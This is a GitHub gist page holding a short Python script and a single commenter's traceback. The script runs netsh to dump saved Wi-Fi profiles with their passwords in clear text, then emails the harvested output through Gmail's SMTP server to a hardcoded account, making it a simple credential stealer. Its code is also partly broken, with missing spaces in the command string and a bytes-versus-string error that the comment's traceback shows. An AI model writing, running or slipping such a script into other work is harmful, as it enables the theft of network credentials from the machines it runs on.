Skip to content

Instantly share code, notes, and snippets.

@1Ernest1
Created March 7, 2022 16:53
Show Gist options
  • Save 1Ernest1/3bcf7e3ee584d9f7fcf570a1421c51e8 to your computer and use it in GitHub Desktop.
Save 1Ernest1/3bcf7e3ee584d9f7fcf570a1421c51e8 to your computer and use it in GitHub Desktop.
import subprocess, smtplib, re
def send_mail(email,password,message):
server = smtplib.SMTP("smtp.gmail.com" , 587)
server.starttls()
server.login(email,password)
server.sendmail(email,email,message)
server.quit()
command = "netsh wlan show profile HONOR key=clear"
networks = subprocess.check_output(command, shell= True)
networks_name_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
result = ""
for networks_name in networks_name_list:
command = "netsh wlan show profile" + networks_name + "key=clear"
current_result = subprocess.check_output(command, shell=True)
result = result + current_result
send_mail(" my email", "my password", result)
@reveng007
Copy link

Are you facing this error mssg?

Traceback (most recent call last):
  File "C:\Users\HP\Desktop\desktop.py", line 14, in <module>
    networks_name_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
  File "C:\Users\HP\AppData\Local\Programs\Python\Python39\lib\re.py", line 241, in findall
    return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment